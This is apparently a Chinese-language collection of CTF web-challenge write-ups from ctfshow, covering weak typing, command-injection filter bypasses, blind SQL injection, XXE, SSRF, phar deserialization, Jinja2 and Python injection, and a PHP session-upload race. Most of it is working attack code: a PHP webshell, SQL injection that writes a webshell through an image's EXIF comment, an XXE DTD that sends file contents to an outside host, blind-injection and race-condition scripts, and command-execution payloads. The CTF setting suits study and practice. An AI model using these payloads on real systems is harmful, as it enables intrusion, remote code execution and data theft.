@$c($_POST[7-1]);
?>
<?php 

就是assert($_POST[7-1]);)

POST
6=system('cat /flag');

网上还抄了个解密脚本

<?php
function decrypt($data, $key)
{
    $data_1 = '';
    for ($i = 0; $i < strlen($data); $i++) {
        $ch = ord($data[$i]);
        if ($ch < 245) {
            if ($ch > 136) {
                $data_1 .= chr($ch / 2);
            } else {
                $data_1 .= $data[$i];
            }
        }
    }
    $data_1 = base64_decode($data_1);
    $key = md5($key);
    $j = $ctrmax = 32;
    $data_2 = '';
    for ($i = 0; $i < strlen($data_1); $i++) {
        if ($j <= 0) {
            $j = $ctrmax;
        }
        $j--;
        $data_2 .=  $data_1[$i] ^ $key[$j];
    }
    return $data_2;
}

function find_data($code)
{
    $code_end = strrpos($code, '?>');
    if (!$code_end) {
        return "";
    }
    $data_start = $code_end + 2;
    $data = substr($code, $data_start, -46);
    return $data;
}

function find_key($code)
{
    // $v1 = $v2('bWQ1');
    // $key1 = $v1('??????');
    $pos1 = strpos($code, "('" . preg_quote(base64_encode('md5')) . "');");
    $pos2 = strrpos(substr($code, 0, $pos1), '$');
    $pos3 = strrpos(substr($code, 0, $pos2), '$');
    $var_name = substr($code, $pos3, $pos2 - $pos3 - 1);
    $pos4 = strpos($code, $var_name, $pos1);
    $pos5 = strpos($code, "('", $pos4);
    $pos6 = strpos($code, "')", $pos4);
    $key = substr($code, $pos5 + 2, $pos6 - $pos5 - 2);
    return $key;
}

$input_file = $argv[1];
$output_file = $argv[1] . '.decrypted.php';

$code = file_get_contents($input_file);

$data = find_data($code);
if (!$code) {
    echo '未找到加密数据', PHP_EOL;
    exit;
}

$key = find_key($code);
if (!$key) {
    echo '未找到秘钥', PHP_EOL;
    exit;
}

$decrypted = decrypt($data, $key);
$uncompressed = gzuncompress($decrypted);
// 由于可以不勾选代码压缩的选项,所以这里判断一下是否解压成功,解压失败就是没压缩
if ($uncompressed) {
    $decrypted = str_rot13($uncompressed);
} else {
    $decrypted = str_rot13($decrypted);
}
file_put_contents($output_file, $decrypted);
echo '解密后文件已写入到 ', $output_file, PHP_EOL;

WUSTCTF_朴实无华_Revenge_Revenge

只有level1和getflag改了

if (isset($_GET['num'])){
    $num = $_GET['num'];
    $numPositve = intval($num);
    $numReverse = intval(strrev($num));
    if (preg_match('/[^0-9.]/', $num)) {
        die("非洲欢迎你1");
    } else {
        if ( (preg_match_all("/\./", $num) > 1) || (preg_match_all("/\-/", $num) > 1) || (preg_match_all("/\-/", $num)==1 && !preg_match('/^[-]/', $num))) {
            die("没有这样的数");
        }
    }
    if ($num != $numPositve) {
        die('最开始上题时候忘写了这个,导致这level 1变成了弱智,怪不得这么多人solve');
    }

    if ($numPositve <= -999999999999999999 || $numPositve >= 999999999999999999) { //在64位系统中 intval()的上限不是2147483647 省省吧
        die("非洲欢迎你2");
    }
    if( $numPositve === $numReverse && !isPalindrome($num) ){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}

只允许0-9.还加了$num != $numPositve就是要传入的num和intval处理后的num相等,

利用php浮点精度

浮点数的字长和平台相关,尽管通常最大值是 1.8e308 并具有 14 位十进制数字的精度(64 位 IEEE 格式)。

警告

浮点数的精度

浮点数的精度有限。尽管取决于系统,PHP 通常使用 IEEE 754 双精度格式,则由于取整而导致的最大相对误差为 1.11e-16。非基本数学运算可能会给出更大误差,并且要考虑到进行复合运算时的误差传递。

此外,以十进制能够精确表示的有理数如 0.10.7,无论有多少尾数都不能被内部所使用的二进制精确表示,因此不能在不丢失一点点精度的情况下转换为二进制的格式。这就会造成混乱的结果:例如,floor((0.1+0.7)*10) 通常会返回 7 而不是预期中的 8,因为该结果内部的表示其实是类似 7.9999999999999991118...

所以永远不要相信浮点数结果精确到了最后一位,也永远不要比较两个浮点数是否相等。如果确实需要更高的精度,应该使用任意精度数学函数或者 gmp 函数

参见» 浮点数指南网页的简单解释。

var_dump(1.000000000000001 == 1);         # bool(false)
var_dump(1.0000000000000001 == 1);        # bool(true)
var_dump(1.0000000000000001 === 1);       # bool(false)

为了绕过回文,后边再加一个0

?num=1000000000000000.00000000000000010

getflag

if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("more", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("tail", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("less", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("head", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("tac", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("sort", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("nl", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("$", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("curl", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("bash", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("nc", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("php", "36dCTFShow", $get_flag);
        if (preg_match("/['\*\"[?]/", $get_flag)) {
            die('非预期修复*2');
        }
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}

把nl给ban了,继续抄🐶爹的

ctf里读取文件相关知识点总结

空格用<或者%09,读取用base64或者ca\tphp换成ph\p

?get_flag=base64<flag.ph\p

你没见过的注入

这题也真够抽象的,确实是没见过😅

先说不用扫,结果还是要访问robots.txt,拿到重置密码的网址/pwdreset.php

直接重置密码,进去是个文件上传,无过滤

文件上传后,在后端会被重命名+压缩处理,无利用空间,只有个filetype进行提示

传个php->filetype:PHP script, ASCII text, with CRLF line terminators

看了源码才知道限制了10k

这里考的是EXIF信息中comment字段注入,这个字段会存入数据库,finfo->file()再在后面输出这个信息,造成了sql注入漏洞,先去网上下载一个exiftool工具 ——> https://exiftool.org/

可以编辑图片的的EXIF信息

payload:

./exiftool -overwrite_original -comment="y1ng\"');select 0x3C3F3D60245F504F53545B305D603B into outfile '/var/www/html/1.php';#" 1.jpg
hex(<?=$_POST[0];)=0x3C3F3D60245F504F53545B305D603B

不知道哪试出来的从exif信息里注

upload源码

<?php
    error_reporting(0);
    if ($_FILES["file"]["error"] > 0)
    {
        die("Return Code: " . $_FILES["file"]["error"] . "<br />");
    }
    if($_FILES["file"]["size"]>10*1024){
        die("文件过大: " .($_FILES["file"]["size"] / 1024) . " Kb<br />");
    }

    if (file_exists("upload/" . $_FILES["file"]["name"]))
      {
      echo $_FILES["file"]["name"] . " already exists. ";
      }
    else
      {
      $filename = md5(md5(rand(1,10000))).".zip";
      $filetype = (new finfo)->file($_FILES['file']['tmp_name']);
      $filepath = "upload/".$filename;
      $sql = "INSERT INTO file(filename,filepath,filetype) VALUES ('".$filename."','".$filepath."','".$filetype."');";
      move_uploaded_file($_FILES["file"]["tmp_name"],
      "upload/" . $filename);
      $con = mysqli_connect("localhost","root","root","ctf");
        if (!$con)
        {
            die('Could not connect: ' . mysqli_error());
        }
        if (mysqli_multi_query($con, $sql)) {
            header("location:filelist.php");
        } else {
            echo "Error: " . $sql . "<br>" . mysqli_error($con);
        }
         
        mysqli_close($con);
        
      }
    
?>

本地复现一下

image-20240208234314671

签到_观己

日志包含

web1_观字

#flag in http://192.168.7.68/flag
if(isset($_GET['url'])){
    $url = $_GET['url'];
    $protocol = substr($url, 0,7);
    if($protocol!='http://'){
        die('仅限http协议访问');
    }
    if(preg_match('/\.|\;|\||\<|\>|\*|\%|\^|\(|\)|\#|\@|\!|\`|\~|\+|\'|\"|\.|\,|\?|\[|\]|\{|\}|\!|\&|\$|0/', $url)){
        die('仅限域名地址访问');
    }
    system('curl '.$url);
}

限制死了http协议,不给用各种特殊字符

本来想着自己的域名转发到192.168.7.68,但是还是会有.,ip转10进制或者16进制都会出现0

image-20240209145109405

curl可以用代替.

image-20240209145234588

?url=http://192。168。7。68/flag

web2_观星

fuzz一下

['!', '"', "'", '+', ',', '=', '`', '|', '~', ' ', 'union', 'rand', 'ascii', 'and', '||', 'sleep', 'benchmark', 'rlike', 'like']

才看出来是int类型盲注,单双引号被ban了,表名可以用16进制代替

逗号被ban用from+for,但是if就彻底没法用了,所以用case when [express] then [x] else [y] end代替

ascii直接换用ord

直接脚本跑,估计sqlmap只会更快

import requests

url = "http://c11b6d04-1817-4495-a58d-96b02ab819f5.challenge.ctf.show/index.php?id="
alphabets = ['a', 'b', 'c', 'd', 'e', 'f', 'j', 'h', 'i', 'g', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u',
             'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'G', 'K', 'L', 'M', 'N', 'O', 'P',
             'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9']
flag = ""


def get_database_name():
    database = ""
    for i in range(1, 5):
        min = 48
        max = 122
        mid = int((min + max) / 2)
        while max >= min:
            payload = f"case/**/when/**/ord(substr(database()/**/from/**/{i}/**/for/**/1))<{mid}/**/then/**/1/**/else/**/0/**/end"
            burpurl = url + payload
            re = requests.get(burpurl)
            if "If" in re.text:
                max = mid - 1
            else:
                min = mid + 1
            mid = int((min + max) / 2)
        database = database + chr(mid)


def get_table_name():
    table = ""
    for i in range(1, 20):
        min = 48
        max = 122
        mid = int((min + max) / 2)
        while max >= min:
            payload = f"case/**/when/**/ord(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/in/**/(database()))/**/from/**/{i}/**/for/**/1))<{mid}/**/then/**/1/**/else/**/0/**/end"
            burpurl = url + payload
            re = requests.get(burpurl)
            if "If" in re.text:
                max = mid - 1
            else:
                min = mid + 1
            mid = int((min + max) / 2)
        table = table + chr(mid)
        print(table)


def get_column_name():
    column = ""
    for i in range(1, 20):
        min = 48
        max = 122
        mid = int((min + max) / 2)
        while max >= min:
            payload = f"case/**/when/**/ord(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/in/**/(0x666c6167))/**/from/**/{i}/**/for/**/1))<{mid}/**/then/**/1/**/else/**/0/**/end"
            burpurl = url + payload
            re = requests.get(burpurl)
            if "If" in re.text:
                max = mid - 1
            else:
                min = mid + 1
            mid = int((min + max) / 2)
        column = column + chr(mid)
        print(column)


def get_data():
    flag = ""
    for i in range(1, 50):
        min = 33
        max = 127
        mid = int((min + max) / 2)
        while max >= min:
            payload = f"case/**/when/**/ord(substr((select/**/group_concat(flag)/**/from/**/flag)/**/from/**/{i}/**/for/**/1))<{mid}/**/then/**/1/**/else/**/0/**/end"
            burpurl = url + payload
            re = requests.get(burpurl)
            if "If" in re.text:
                max = mid - 1
            else:
                min = mid + 1
            mid = int((min + max) / 2)
        flag = flag + chr(mid)
        print(flag)


# get_database_name()
# get_table_name()
# get_column_name()
get_data()

web3_观图

跳转showImage.php

//$key = substr(md5('ctfshow'.rand()),3,8);
//flag in config.php
include('config.php');
if(isset($_GET['image'])){
    $image=$_GET['image'];
    $str = openssl_decrypt($image, 'bf-ecb', $key);
    if(file_exists($str)){
        header('content-type:image/gif');
        echo file_get_contents($str);
    }
}else{
    highlight_file(__FILE__);
}

使用随机生成的key解密image,一段能被正确解析的密文为Z6Ilu83MIDw=,只要猜出原文是什么,就可以通过碰撞出key,然后使用encrypt进行读取了

<?php
highlight_file(__FILE__);
set_time_limit(0);
$r = 0;
while (True){
    while (ob_get_level()) {
        ob_end_flush();
    }
    $t = rand();
    if ($r<$t){
        $r = $t;
        echo $t."<br>";
    }
}
//经过碰撞大概可以知道rand的范围为0-2147483647(梅森素数)

写个加密碰撞脚本

<?php
highlight_file(__FILE__);
set_time_limit(0);
$pass = "Z6Ilu83MIDw=";
for ($i=0;$i<=2147483647;$i++){
    while (ob_get_level()) {
        ob_end_flush();
    }
    $key = substr(md5('ctfshow'.$i),3,8);
    if (preg_match('/jpg|gif|png/',(openssl_decrypt($pass, 'bf-ecb', $key)))){
        echo $i.$key."<br>";
    }
}
//碰出来27347
<?php
highlight_file(__FILE__);
set_time_limit(0);
$file = "config.php";
$key = substr(md5('ctfshow'."27347"),3,8);
echo openssl_encrypt($file, 'bf-ecb', $key);

web4_观心

点击占卜访问api.php,看一眼负载一眼xxe

一篇文章带你深入理解漏洞之 XXE 漏洞

XXE漏洞利用技巧:从XML到远程代码执行

test.dtd

<!ENTITY % file SYSTEM "file:///flag.txt">
<!ENTITY % xxe "<!ENTITY &#37; xxe SYSTEM 'http://ip/%file;'>">
%xxe;

evil.xml

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE data SYSTEM "http://ip/test.dtd">
<test></test>

直接调用xml就行

这题不知道什么原因,在远程调用<!ENTITY &#37; xxe SYSTEM 'http://ip/%file;'>没有实际访问出来,导致在远程没法读出来,但是可以利用file:///flag.txt读到的换行符造成loadXML()报错回显

image-20240215195634279

参考

如果使用base64后的结果,不会报错,但同时并没有请求出来

web1_此夜圆

class a
{
    public $uname;
    public $password;
    public function __construct($uname,$password)
    {
        $this->uname=$uname;
        $this->password=$password;
    }
    public function __wakeup()
    {
            if($this->password==='yu22x')
            {
                include('flag.php');
                echo $flag;	
            }
            else
            {
                echo 'wrong password';
            }
        }
    }

function filter($string){
    return str_replace('Firebasky','Firebaskyup',$string);
}

$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);

一眼丁真,变长度反序列化绕过

1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}

web2_故人心

hint

Is it particularly difficult to break MD2?!
I'll tell you quietly that I saw the payoad of the author.
But the numbers are not clear.have fun~~~~
xxxxx024452    hash("md2",$b)
xxxxxx48399    hash("md2",hash("md2",$b))
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
$url[1]=$_POST['url'];
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){
    $d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)));
    if($d){
             highlight_file('hint.php');
             if(filter_var($url[1],FILTER_VALIDATE_URL)){
                $host=parse_url($url[1]);
                print_r($host); 
                if(preg_match('/ctfshow\.com$/',$host['host'])){
                    print_r(file_get_contents($url[1]));
                }else{
                    echo '差点点就成功了!';
                }
            }else{
                echo 'please give me url!!!';
            }     
    }else{
        echo '想一想md5碰撞原理吧?!';
    }
}else{
    echo '第一个都过不了还想要flag呀?!';
}

要求$a是数字,长度小于7,非零且平方运算等于零

可以猜测大概是使用科学计数法来打

Minimum evaluatable scientific value?

由于php中双精度存储的限制,1E-323会以float(9.8813129168249E-323)的形式存储,当下探一位到1E-324时,精度不满足就到了float(0)

所以只要令$a=1E-162即可

md2注意到hint内容,联想到md5的弱类型比较,肯定是要0exxxxx == 0exxxx的类型

这个hint给的也💩,实际上应该是这样

$b = xxxxx024452    hash("md2",$b)
$c = xxxxxx48399    hash("md2",hash("md2",$c))
from Crypto.Hash import MD2

b = "024452"
c = "48399"
num = "0123456789"
for i in num:
    for j in num:
        for k in num:
            for q in num:
                payload2 = "0e" + i + j + k + q + c
                md2_hash_2 = MD2.new(payload2.encode()).hexdigest()
                md2_hash_3 = MD2.new(md2_hash_2.encode()).hexdigest()
                if md2_hash_3[:2] == '0e' and md2_hash_3[2:].isdigit():
                    print("2:" + payload2)
            payload1 = "0e" + i + j + k + b
            md2_hash_1 = MD2.new(payload1.encode()).hexdigest()
            if md2_hash_1[:2] == '0e' and md2_hash_1[2:].isdigit():
                print("1:" + payload1)

->
2:0e603448399
1:0e652024452

第三步提示flag in /fl0g.txt,要求传入能过URL筛选器的字符

file_get_contents有个点就是,当传入的伪协议头未知时,当做文件夹操作

url=httpt://ctfshow.com/../../../../../../../../fl0g.txt
http变为httpt这个未知协议

web3_莫负婵娟

<!-- username yu22x -->
<!-- SELECT * FROM users where username like binary('$username') and password like binary('$password')-->

fuzz一下

['"', '#', '%', "'", '(', ',', '-', '\\', '^', 'select', 'union', 'sleep']

单双引号和反斜杠都被过滤了,肯定绕不过了

由于这里用的特殊匹配方法like

like有两个模式:_和%

_:表示单个字符,用来查询定长的数据

%:表示0个或多个任意字符

(1)SELECT * FROM Persons  WHERE City LIKE 'N%'     "Persons" 表中选取居住在以 "N" 开始的城市里的人
(2)SELECT * FROM Persons  WHERE City LIKE '%g'     "Persons" 表中选取居住在以 "g" 结尾的城市里的人
(3)SELECT * FROM Persons   WHERE City LIKE '%lon%'  从 "Persons" 表中选取居住在包含 "lon" 的城市里的人
(4)SELECT * FROM Persons   WHERE City NOT LIKE '%lon%'  从 "Persons" 表中选取居住在不包含 "lon" 的城市里的人

password里塞32个_,能模糊匹配,打出回显:I have filtered all the characters. Why can you come in? get out!

跑个脚本

import string

import requests

url = "http://10e8ff00-4077-42a3-9cbc-b9b6fe7ff911.challenge.ctf.show/login.php"
length = 32
tables = string.printable
password = ""
for i in range(length):
    for table in tables:
        payload = password + table + "_" * (length - i - 1)
        r = requests.post(url, data={
            "username": "yu22x",
            "password": payload
        })
        if "wrong username or password" not in r.text:
            password = password + table
            print(password)
            break

进去是个ip测试,自己起个发现是使用curl

image-20240216230905126

fuzz一下过滤了全部小写字母

['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '!', '"', '%', '&', "'", '(', ')', '*', '+', ',', '-', '/', '<', '=', '>', '[', '\\', ']', '^', '`', '|', '\t', '\n']

剩下可用的

['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '#', '$', '.', ':', ';', '?', '@', '_', '{', '}', '~', ' ', '\r', '\x0b', '\x0c']

hint

环境变量 +linux字符串截取 + 通配符

ctf里读取文件相关知识点总结

里面提到过空格/被过滤可以使用${PATH:0:1}来代替,同理,我们要执行的也可以用这个来代替

image-20240216232730176

image-20240216232913174

ip=127.0.0.1;${PATH:5:1}${PATH:2:1}->ls
ip=127.0.0.1;${PATH:14:1}${PATH:5:1} ????.???->nl ????.???

1024_WEB签到

error_reporting(0);
highlight_file(__FILE__);
call_user_func($_GET['f']);

可见是没有参数能传入的,也没法无参rce

直接去phpinfo找

image-20240218162630417

调用就行

1024_fastapi

fastapi,dirsearch扫出手册/docs

由python写出来的后端,尝试有回显的函数str(123)返回123

尝试ssti

Python模板注入(SSTI)深入学习

q=str("".__class__.__bases__[0].__subclasses__()[127].__init__.__globals__['po'+'pen']('cat /mnt/f1a9').read())

先读源码main.py,提示flag位置,还ban了一些

'import','open','eval','exec'

1024_柏拉图

首页要求输入url,试了http协议报错,试到file协议不报错,后面是双写绕过

读一下源文件

index.php

<?php
error_reporting(0);
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-19 20:09:22
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-19 21:31:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
function curl($url){  
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    echo curl_exec($ch);
    curl_close($ch);
}
if(isset($_GET['url'])){
    $url = $_GET['url'];
    $bad = 'file://';
    if(preg_match('/dict|127|localhost|sftp|Gopherus|http|\.\.\/|flag|[0-9]/is', $url,$match))
        {
            die('难道我不知道你在想什么?除非绕过我?!');
    }else{
      $url=str_replace($bad,"",$url);
      curl($url);
    }
}
?>

upload.php

<?php
error_reporting(0);
if(isset($_FILES["file"])){
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {

    if (file_exists("upload/" . $_FILES["file"]["name"])){
      echo $_FILES["file"]["name"] . " 文件已经存在啦!";
    }else{
      move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" .$_FILES["file"]["name"]);
      echo "文件存储在: " . "upload/" . $_FILES["file"]["name"];
    }
}else{
      echo "这个文件我不喜欢,我喜欢一个gif的文件";
    }
}
?>

readfile.php

<?php
error_reporting(0);
include('class.php');
function check($filename){  
    if (preg_match("/^phar|^smtp|^dict|^zip|file|etc|root|filter|\.\.\//i",$filename)){
        die("姿势太简单啦,来一点骚的?!");
    }else{
        return 0;
    }
}
if(isset($_GET['filename'])){
    $file=$_GET['filename'];
        if(strstr($file, "flag") || check($file) || strstr($file, "php")) {
            die("这么简单的获得不可能吧?!");
        }
        echo readfile($file);
}
?>

class.php

<?php
error_reporting(0);
class A {
    public $a;
    public function __construct($a)
    {
        $this->a = $a;
    }
    public function __destruct()
    {
        echo "THI IS CTFSHOW".$this->a;
    }
}
class B {
    public $b;
    public function __construct($b)
    {
        $this->b = $b;
    }
    public function __toString()
    {
        return ($this->b)();
    }
}
class C{
    public $c;
    public function __construct($c)
    {
        $this->c = $c;
    }
    public function __invoke()
    {
        return eval($this->c);
    }
}
?>

unlink.php

<?php
error_reporting(0);
$file=$_GET['filename'];
function check($file){  
  if (preg_match("/\.\.\//i",$file)){
      die("你想干什么?!");
  }else{
      return $file;
  }
}
if(file_exists("upload/".$file)){
      if(unlink("upload/".check($file))){
          echo "删除".$file."成功!";
      }else{
          echo "删除".$file."失败!";
      }
}else{
    echo '要删除的文件不存在!';
}
?>

看到有个class.phpreadfile函数,一眼phar反序列化

php反序列化拓展攻击详解–phar

poc.php

<?php
class A {
    public $a;
//    public function __construct($a)
//    {
//        $this->a = $a;
//    }
    public function __destruct()
    {
        echo "THI IS CTFSHOW".$this->a;
    }
}
class B {
    public $b;
//    public function __construct($b)
//    {
//        $this->b = $b;
//    }
    public function __toString()
    {
        return ($this->b)();
    }
}
class C{
    public $c;
//    public function __construct($c)
//    {
//        $this->c = $c;
//    }
    public function __invoke()
    {
        return eval($this->c);
    }
}
$A = new A('');
$B = new B('');
$C = new C('');
$A->a = $B;
$B->b = $C;
$C->c = 'system("cat /ctfshow_1024_flag.txt");';
$phar = new Phar('cat.phar');
$phar -> stopBuffering();
$phar -> setStub('<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$phar -> setMetadata($A);
$phar -> stopBuffering();

上传直接用compress.zlib://phar://

1024_图片代理

自动跳转

?picurl=aHR0cDovL3AucWxvZ28uY24vZ2gvMzcyNjE5MDM4LzM3MjYxOTAzOC8w

base64解码是个图片地址,直接换用file协议能读passwd

嗅探到nginx,读一下配置文件/etc/nginx/conf.d/default.conf

image-20240220175037927

网站目录/var/www/bushihtml,fastcgi开在9000端口

直接gopher打

python gopherus.py --exploit fastcgi

image-20240220175154791

1024_hello_world

看起来像ssti,fuzz一下


["'", '.', '_', '\r', '\x0b', '\x0c', '\{\{']

被ban了就没法直接打回显了

但是可以用{%print(...)%}代替

也有更麻烦的用{% if ... %}1{% endif %}盲注

这里选用{%print(...)%}

以 Bypass 为中心谭谈 Flask-jinja2 SSTI 的利用


key={%print(()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()[117]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["popen"]("cat /c*")["read"]())%}

"_"hex编码->"\x5f",也可以换用unicode

主要就是用()["\x5f\x5fclass\x5f\x5f"]来代替().__class__

原谅4

看起来很简单

<?php 
isset($_GET["xbx"])?system($_GET["xbx"]):highlight_file(__FILE__)?

但是进去才知道命令基本不可用,bin里面只有ls rm sh这三条命令可用

但是还有一种利用报错读取来读到文件内容

如果有读取文件的权限

echo `. /f* 2>&1` -urlencode> echo `. /f* 2>%261`

如果有执行文件的权限

echo `/f* 2>&1` -urlencode> echo `/f* 2>%261`

无非就是一个用了sh执行shell脚本的区别

原谅5_fastapi2

严格意义来说不是ssti,fuzz一下,过滤了

["import", "open", "eval", "exec", "class", "&#39", &#39"&#39, "vars", "str", "chr"]

除了之前用的str可以造成回显,list同样也可以打出回显

可以直接用list(globals())看到当前的全局变量

image-20240222153114837

比较特殊的就是其中的youdontknow,直接进去看就能知道这是banlist

而且属性应该是list

列表有一个函数操作是[].clear(),可以清空该列表内元素

q=youdontknow.clear()
q=list(youdontknow)

可见banlist已经被清空了,接下来就是随便打


q=[].__class__.__bases__[0].__subclasses__()[127].__init__.__globals__["popen"]("cat /f*").read()
q=open("/flag").read()

其他方法

由于规定了接收的q是string型,因此"".__class__这类返回的class类型就会引起错误,因此需要将其转为str型

可以通过bytes.fromhex()绕过waf,同时也可以保证str型

q=__import__(bytes.fromhex(hex(28531)[2:]).decode()).popen(bytes.fromhex(hex(6c73)[2:]).decode()).readlines()
其中的o是全角字符,可以绕过waf
28531和6c73分别是os,ls的hex

image-20240222154818718

还有种比较抽象的办法

有一个内置函数没有被ban:dir(),用来查看当前范围内变量

image-20240222180447783

q=kiword

可见最后的kiword是chr

image-20240222180522602

就可以利用getattr拼凑出函数

getattr(__builtins__,kiword)->__builtins__.chr
getattr(__builtins__,kiword)(97)->__builtins__.chr(97)->a

可以拼出__builtins__.__import__("os").popen("ls").read()

getattr(__builtins__,kiword)(95)+getattr(__builtins__,kiword)(95)+getattr(__builtins__,kiword)(105)+getattr(__builtins__,kiword)(109)+getattr(__builtins__,kiword)(112)+getattr(__builtins__,kiword)(111)+getattr(__builtins__,kiword)(114)+getattr(__builtins__,kiword)(116)+getattr(__builtins__,kiword)(95)+getattr(__builtins__,kiword)(95)
->
__import__

getattr(__builtins__,kiword)(111)+getattr(__builtins__,kiword)(115)
->
os

getattr(__builtins__,kiword)(112)+getattr(__builtins__,kiword)(111)+getattr(__builtins__,kiword)(112)+getattr(__builtins__,kiword)(101)+getattr(__builtins__,kiword)(110)
->
popen

getattr(__builtins__,kiword)(108)+getattr(__builtins__,kiword)(115)
->
ls

payload:

getattr(getattr(__builtins__,getattr(__builtins__,kiword)(95)+getattr(__builtins__,kiword)(95)+getattr(__builtins__,kiword)(105)+getattr(__builtins__,kiword)(109)+getattr(__builtins__,kiword)(112)+getattr(__builtins__,kiword)(111)+getattr(__builtins__,kiword)(114)+getattr(__builtins__,kiword)(116)+getattr(__builtins__,kiword)(95)+getattr(__builtins__,kiword)(95))(getattr(__builtins__,kiword)(111)+getattr(__builtins__,kiword)(115)),getattr(__builtins__,kiword)(112)+getattr(__builtins__,kiword)(111)+getattr(__builtins__,kiword)(112)+getattr(__builtins__,kiword)(101)+getattr(__builtins__,kiword)(110))(getattr(__builtins__,kiword)(108)+getattr(__builtins__,kiword)(115)).read()

-urlencode>

getattr(getattr(__builtins__%2Cgetattr(__builtins__%2Ckiword)(95)%2Bgetattr(__builtins__%2Ckiword)(95)%2Bgetattr(__builtins__%2Ckiword)(105)%2Bgetattr(__builtins__%2Ckiword)(109)%2Bgetattr(__builtins__%2Ckiword)(112)%2Bgetattr(__builtins__%2Ckiword)(111)%2Bgetattr(__builtins__%2Ckiword)(114)%2Bgetattr(__builtins__%2Ckiword)(116)%2Bgetattr(__builtins__%2Ckiword)(95)%2Bgetattr(__builtins__%2Ckiword)(95))(getattr(__builtins__%2Ckiword)(111)%2Bgetattr(__builtins__%2Ckiword)(115))%2Cgetattr(__builtins__%2Ckiword)(112)%2Bgetattr(__builtins__%2Ckiword)(111)%2Bgetattr(__builtins__%2Ckiword)(112)%2Bgetattr(__builtins__%2Ckiword)(101)%2Bgetattr(__builtins__%2Ckiword)(110))(getattr(__builtins__%2Ckiword)(100)%2Bgetattr(__builtins__%2Ckiword)(105)%2Bgetattr(__builtins__%2Ckiword)(114)).read()

原谅6_web3

<?php
error_reporting(0);
highlight_file(__FILE__);
include("waf.php");
$file = $_GET["file"] ?? NULL;
$content = $_POST["content"] ?? NULL;
(waf_file($file)&&waf_content($content))?(file_put_contents($file,$content)):NULL;

做法和easyshell的法二一样,包含一个session_upload_progress文件

先创建一个.user.ini文件,内容写上auto_prepend_file=/tmp/sess_whoami,目的是包含后面session_upload创建的临时文件

sess_whoami的大概内容如下


upload_progress_payload|a:5:{s:10:"start_time";i:1709120605;s:14:"content_length";i:51482;s:15:"bytes_processed";i:5259;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:5:"q.txt";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1709120605;s:15:"bytes_processed";i:5259;}}}

然后post传文件。在PHP_SESSION_UPLOAD_PROGRESS字段上打payload<?php system("ls");?>

在访问文件的时候,由于.user.ini的存在,每个php前面会自动"include" sess_whoami,从而导致payload被解析

import io
import requests
import threading

sessid = "whoami"


def POST(session):
    while True:
        f = io.BytesIO(b"a" * 1024 * 50)
        session.post(
            "http://705ad190-80a4-407f-a8d5-aade316283da.challenge.ctf.show/",
            data={
                "PHP_SESSION_UPLOAD_PROGRESS": "<?php system(\"base64 waf.php\");?>"},
            files={"file": ("q.txt", f)},
            cookies={"PHPSESSID": sessid}
        )


def READ(session):
    while True:
        resp = session.get("http://705ad190-80a4-407f-a8d5-aade316283da.challenge.ctf.show/")
        if "q.txt" in resp.text:
            print(resp.text)


event = threading.Event()
with requests.session() as session:
    payload = {
        "content": "auto_prepend_file=/tmp/sess_" + sessid
    }
